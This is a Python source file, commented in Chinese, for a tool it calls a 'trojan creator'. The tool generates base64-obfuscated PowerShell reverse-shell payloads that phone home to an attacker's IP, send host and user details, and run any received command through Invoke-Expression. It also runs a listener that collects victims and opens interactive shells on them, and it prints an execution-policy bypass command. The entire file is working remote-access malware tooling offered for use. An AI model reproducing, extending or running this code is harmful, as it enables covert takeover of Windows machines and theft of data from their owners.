import socket
import subprocess
import sys
import os
import time
import threading
import re

# 全局变量
clients = {}
client_counter = 0
lock = threading.Lock()
server_socket = None
server_thread = None

# 生成PowerShell反向Shell脚本（支持base64混淆）
def generate_reverse_shell(attacker_ip, attacker_port, use_base64=True, filename=""):
    # 简化的PowerShell代码，避免语法问题
    core_ps_code = f'''
$client = New-Object System.Net.Sockets.TCPClient('{attacker_ip}', {attacker_port})
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{{0}}

# 发送主机信息
$hostname = hostname
$username = whoami
$os_info = systeminfo | findstr /B /C:"OS" /C:"System Type"
$info = "[+] Connected: $hostname | $username | $(Get-Date)\n$os_info"
$sendBytes = [text.encoding]::UTF8.GetBytes($info)
$stream.Write($sendBytes, 0, $sendBytes.Length)
$stream.Flush()

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{{
    $data = [text.encoding]::UTF8.GetString($bytes, 0, $i)
    # 使用更简单可靠的错误处理
    try 
    {{ 
        $sendback = Invoke-Expression $data 2>&1 
    }} 
    catch 
    {{ 
        $sendback = $_.Exception.Message 
    }}
    $sendback = $sendback | Out-String
    $sendback2 = $sendback
    $sendbyte = [text.encoding]::UTF8.GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}}
$client.Close()
'''
    
    if use_base64:
        # 使用Python进行base64编码
        import base64
        # PowerShell期望UTF-16 LE编码的base64
        core_bytes = core_ps_code.encode('utf-16-le')
        encoded = base64.b64encode(core_bytes).decode('utf-8')
        
        # 创建混淆后的PowerShell代码，使用简单直接的执行方式
        ps_code = f'''
# 混淆的PowerShell反向Shell
$encodedCommand = '{encoded}'
$decodedBytes = [System.Convert]::FromBase64String($encodedCommand)
$decodedString = [System.Text.Encoding]::Unicode.GetString($decodedBytes)
# 直接执行解码后的命令
Invoke-Expression $decodedString
'''
    else:
        # 原始代码（无混淆）
        ps_code = core_ps_code
    if filename == "stdout":
        print("payload:\n=================\n" + encoded + "\n=================")
        return filename
    if not filename.endswith(".ps1"):
        filename = filename.replace(".ps1", "") + ".ps1"
    # 保存脚本到文件
    with open(filename, 'w') as f:
        f.write(ps_code)
    
    return filename

# 处理客户端连接
def handle_client(client_socket, client_address):
    global clients, client_counter
    
    with lock:
        client_counter += 1
        client_id = client_counter
        clients[client_id] = {'socket': client_socket, 'address': client_address}
    
    print(f"\n[+] 客户端 #{client_id} 连接: {client_address}")
    
    try:
        # 接收初始信息
        data = client_socket.recv(4096).decode('utf-8', errors='ignore')
        if data:
            print(f"[+] 客户端 #{client_id} 信息:\n{data}")
    except Exception as e:
        print(f"[-] 接收客户端 #{client_id} 信息时出错: {e}")
    
    # 保持连接开放，但不主动发送数据
    while True:
        try:
            # 保持连接活跃
            client_socket.settimeout(1)
            try:
                data = client_socket.recv(1024)
                if not data:
                    break
            except socket.timeout:
                continue
        except Exception:
            break
    
    with lock:
        if client_id in clients:
            del clients[client_id]
    
    client_socket.close()
    print(f"\n[-] 客户端 #{client_id} 断开连接")

# 启动服务器
def start_server(port=4444):
    global server_socket, server_thread
    
    try:
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server_socket.bind(('0.0.0.0', port))
        server_socket.listen(5)
        print(f"[+] 服务器启动在端口 {port}")
        
        def accept_connections():
            while server_socket:
                try:
                    client_socket, client_address = server_socket.accept()
                    client_thread = threading.Thread(target=handle_client, args=(client_socket, client_address))
                    client_thread.daemon = True
                    client_thread.start()
                except Exception as e:
                    if server_socket:
                        print(f"[-] 接受连接时出错: {e}")
        
        server_thread = threading.Thread(target=accept_connections)
        server_thread.daemon = True
        server_thread.start()
        
        return True
    except Exception as e:
        print(f"[-] 启动服务器时出错: {e}")
        return False

# 停止服务器
def stop_server():
    global server_socket
    
    if server_socket:
        try:
            server_socket.close()
            server_socket = None
            print("[+] 服务器已停止")
            return True
        except Exception as e:
            print(f"[-] 停止服务器时出错: {e}")
            return False
    return False

# 获取shell会话
def get_shell(client_id):
    with lock:
        if client_id not in clients:
            print(f"[-] 客户端 #{client_id} 不存在")
            return False
        
        client_info = clients[client_id]
        client_socket = client_info['socket']
    
    print(f"[+] 已连接到客户端 #{client_id} ({client_info['address']})")
    print("[+] 输入 'exit' 或 'quit' 退出shell会话")
    
    try:
        # 发送一个命令提示符
        prompt = "PS > "
        client_socket.send(prompt.encode('utf-8'))
        
        while True:
            command = input("shell > ")
            
            if command.lower() in ['exit', 'quit']:
                print("[+] 退出shell会话")
                break
            
            if not command.strip():
                client_socket.send("\n".encode('utf-8'))
                continue
            
            # 发送命令
            client_socket.send(command.encode('utf-8'))
            
            # 接收命令输出
            output = ""
            client_socket.settimeout(2)  # 设置超时以防止无限等待
            
            try:
                # 读取所有可用数据
                while True:
                    chunk = client_socket.recv(8192).decode('utf-8', errors='ignore')
                    if not chunk:
                        break
                    output += chunk
                    # 如果收到命令提示符，停止接收
                    if "PS > " in chunk:
                        break
            except socket.timeout:
                pass  # 超时表示当前没有更多数据
            except Exception as e:
                print(f"[-] 接收输出时出错: {e}")
                break
            
            # 打印输出，但移除末尾的提示符
            output = output.rstrip()
            if output.endswith("PS > "):
                output = output[:-5]
            print(output)
            
    except Exception as e:
        print(f"[-] Shell会话出错: {e}")
        with lock:
            if client_id in clients:
                del clients[client_id]
        client_socket.close()
    
    return True

# 显示帮助信息
def show_help():
    help_text = """
可用命令:
  help                - 显示此帮助信息
  listen [port]       - 监听指定端口（默认9000）
  list                - 显示所有连接的设备
  shell [id]          - 获取指定设备的shell会话
  generate [ip] [port] [file] [base64]- 生成PowerShell反向Shell脚本（base64参数可选，默认为true）
  exit                - 退出程序
"""
    print(help_text)

# 主函数
def main():
    global server_socket
    
    print("\n===== TEFRAME TROJAN CREATOR =====\n")
    
    # 命令行交互循环
    while True:
        try:
            command = input("\n> ").strip()
            
            if not command:
                continue
            
            cmd_parts = command.split()
            cmd = cmd_parts[0].lower()
            
            if cmd == 'exit':
                stop_server()
                print("[+] 程序已退出")
                break
            
            elif cmd == 'help':
                show_help()
            elif cmd == "listen":
                listen_port = 9000
                if len(cmd_parts) > 1:
                    try:
                        listen_port = int(cmd_parts[1])
                        if not (1 <= listen_port <= 65535):
                            print("[-] 端口必须在1-65535范围内")
                            continue
                    except ValueError:
                        print("[-] 无效的端口号，请输入数字")
                        continue
                if not start_server(listen_port):
                    print("[-] 无法启动服务器，程序退出")
                    sys.exit(1)
            elif cmd == 'list':
                with lock:
                    if not clients:
                        print("[-] 没有连接的客户端")
                    else:
                        print("\n[+] 连接的客户端:")
                        print("  ID | 地址")
                        print("-----+----------------")
                        for client_id, client_info in clients.items():
                            print(f"  {client_id:2d} | {client_info['address'][0]}:{client_info['address'][1]}")
            
            elif cmd == 'shell' and len(cmd_parts) > 1:
                try:
                    client_id = int(cmd_parts[1])
                    get_shell(client_id)
                except ValueError:
                    print("[-] 无效的客户端ID，请输入数字")
            
            elif cmd == 'generate' and len(cmd_parts) > 3:
                attacker_ip = cmd_parts[1]
                try:
                    attacker_port = int(cmd_parts[2])
                    # 验证IP地址格式
                    if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', attacker_ip):
                        print("[-] 无效的IP地址格式")
                        continue
                    # 验证端口范围
                    if not (1 <= attacker_port <= 65535):
                        print("[-] 端口必须在1-65535范围内")
                        continue
                    
                    # 解析base64参数（可选）
                    use_base64 = True
                    if len(cmd_parts) > 3:
                        if cmd_parts[3].lower() in ['false', 'no', '0', 'off']:
                            use_base64 = False
                    
                    filename = generate_reverse_shell(attacker_ip, attacker_port, use_base64, cmd_parts[3])
                    if use_base64:
                        print(f"[+] Base64混淆的PowerShell反向Shell脚本已生成: {filename}")
                    else:
                        print(f"[+] PowerShell反向Shell脚本已生成: {filename}")
                    print(f"[+] 运行命令: powershell -ExecutionPolicy Bypass -File {filename}")
                except ValueError:
                    print("[-] 无效的端口号，请输入数字")
            
            else:
                print("[-] 未知命令，请输入 'help' 查看可用命令")
                
        except KeyboardInterrupt:
            print("\n\n[!] 捕获到键盘中断")
            stop_server()
            print("[+] 程序已退出")
            break
        except Exception as e:
            print(f"[-] 发生错误: {e}")

if __name__ == "__main__":
    main()
